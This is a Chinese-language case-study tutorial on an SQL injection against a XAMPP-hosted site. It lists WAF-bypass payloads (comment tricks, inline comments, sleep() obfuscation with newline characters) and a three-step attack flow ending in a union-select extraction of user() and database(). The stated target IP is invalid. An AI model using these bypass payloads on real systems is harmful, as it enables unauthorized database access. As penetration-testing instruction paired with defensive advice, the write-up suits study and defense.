记一次Bypass SQL注入
字数 1125 2025-08-09 22:16:00

SQL注入绕过技术实战教学文档

一、目标识别与初步探测

  1. 初始信息收集

    • 目标站点:http://110.120.119.911/dashboard
    • 发现目录遍历漏洞:直接访问根目录可列出文件
    • 技术栈识别:XAMPP搭建(Apache+MySQL+PHP+PERL)
  2. 注入点发现

    • 定位到具有搜索功能的PHP页面
    • 初步测试:
      • 输入1 → 正常响应
      • 输入1' → 报错,可能存在SQL注入漏洞

二、基础注入尝试

  1. 自动化工具测试

    • 使用sqlmap进行POST参数测试
    • 结果:未能成功识别漏洞(存在防护机制)
  2. 手工测试

    • 尝试常见注释符:
      • 1'--+ → 失败
      • 1'%23 → 失败
      • 1'# → 成功(发现#注释可用)

三、WAF绕过技术详解

  1. 防护机制分析

    • 测试发现拦截union select组合
    • 单独测试:
      • select → 正常
      • union select → 正常
      • 1'union select → 被拦截
    • 结论:WAF可能匹配整句模式
  2. 绕过技术尝试

    • 大小写变异
      • union+Sele<>cT → 被拦截
    • 内联注释
      • /*!50000UniON SeLeCt*/ → 被拦截
      • /*!u%6eion*/ /*!se%6cect*/ → 被拦截
    • UNION变体
      • 1'union+distinct+select+sleep(2)# → 失败
    • 函数混淆
      • sleep%23%oa(3) → 成功绕过
  3. 关键绕过技术总结

    • 使用#注释优于--%23
    • 函数名与括号间插入特殊字符(如%0a换行符)
    • 避免直接使用完整union select模式

四、盲注技术应用

  1. 时间盲注

    • 成功使用sleep()函数验证漏洞
    • 注意:直接sleep(2)可能被拦截,需要混淆
  2. 错误处理

    • 去除sleep()函数后正常报错
    • 说明WAF对特定函数有检测

五、防御机制分析

  1. WAF规则推测

    • 基于正则的模式匹配
    • 检测完整union select语句
    • 检测常见SQL函数
  2. 绕过思路

    • 分割关键词
    • 插入非常规字符
    • 使用不常见的语法变体

六、完整攻击流程

  1. 探测阶段

    1'# → 验证注入可行性
    
  2. 绕过阶段

    1'union/*任意内容*/select/*任意内容*/1,2,3#
    
  3. 数据提取

    1'union/*!50000select*/user(),database()#
    

七、防御建议

  1. 代码层面

    • 使用参数化查询
    • 实施严格的输入验证
    • 避免动态SQL拼接
  2. WAF配置

    • 更新规则库检测非常规绕过技术
    • 实施语义分析而非简单模式匹配
  3. 系统层面

    • 最小化数据库权限
    • 定期安全审计

八、总结

本案例展示了从发现SQL注入点到绕过WAF防护的完整过程,重点在于:

  • 理解WAF的工作原理
  • 尝试多种绕过技术
  • 分析失败原因并调整策略
  • 最终通过特殊字符混淆成功绕过

重要提醒:本文技术仅用于合法安全测试,未经授权测试他人系统属于违法行为。

SQL注入绕过技术实战教学文档 一、目标识别与初步探测 初始信息收集 目标站点:http://110.120.119.911/dashboard 发现目录遍历漏洞:直接访问根目录可列出文件 技术栈识别:XAMPP搭建(Apache+MySQL+PHP+PERL) 注入点发现 定位到具有搜索功能的PHP页面 初步测试: 输入 1 → 正常响应 输入 1' → 报错,可能存在SQL注入漏洞 二、基础注入尝试 自动化工具测试 使用sqlmap进行POST参数测试 结果:未能成功识别漏洞(存在防护机制) 手工测试 尝试常见注释符: 1'--+ → 失败 1'%23 → 失败 1'# → 成功(发现#注释可用) 三、WAF绕过技术详解 防护机制分析 测试发现拦截 union select 组合 单独测试: select → 正常 union select → 正常 1'union select → 被拦截 结论:WAF可能匹配整句模式 绕过技术尝试 大小写变异 : union+Sele<>cT → 被拦截 内联注释 : /*!50000UniON SeLeCt*/ → 被拦截 /*!u%6eion*/ /*!se%6cect*/ → 被拦截 UNION变体 : 1'union+distinct+select+sleep(2)# → 失败 函数混淆 : sleep%23%oa(3) → 成功绕过 关键绕过技术总结 使用 # 注释优于 -- 和 %23 函数名与括号间插入特殊字符(如 %0a 换行符) 避免直接使用完整 union select 模式 四、盲注技术应用 时间盲注 成功使用 sleep() 函数验证漏洞 注意:直接 sleep(2) 可能被拦截,需要混淆 错误处理 去除 sleep() 函数后正常报错 说明WAF对特定函数有检测 五、防御机制分析 WAF规则推测 基于正则的模式匹配 检测完整 union select 语句 检测常见SQL函数 绕过思路 分割关键词 插入非常规字符 使用不常见的语法变体 六、完整攻击流程 探测阶段 绕过阶段 数据提取 七、防御建议 代码层面 使用参数化查询 实施严格的输入验证 避免动态SQL拼接 WAF配置 更新规则库检测非常规绕过技术 实施语义分析而非简单模式匹配 系统层面 最小化数据库权限 定期安全审计 八、总结 本案例展示了从发现SQL注入点到绕过WAF防护的完整过程,重点在于: 理解WAF的工作原理 尝试多种绕过技术 分析失败原因并调整策略 最终通过特殊字符混淆成功绕过 重要提醒 :本文技术仅用于合法安全测试,未经授权测试他人系统属于违法行为。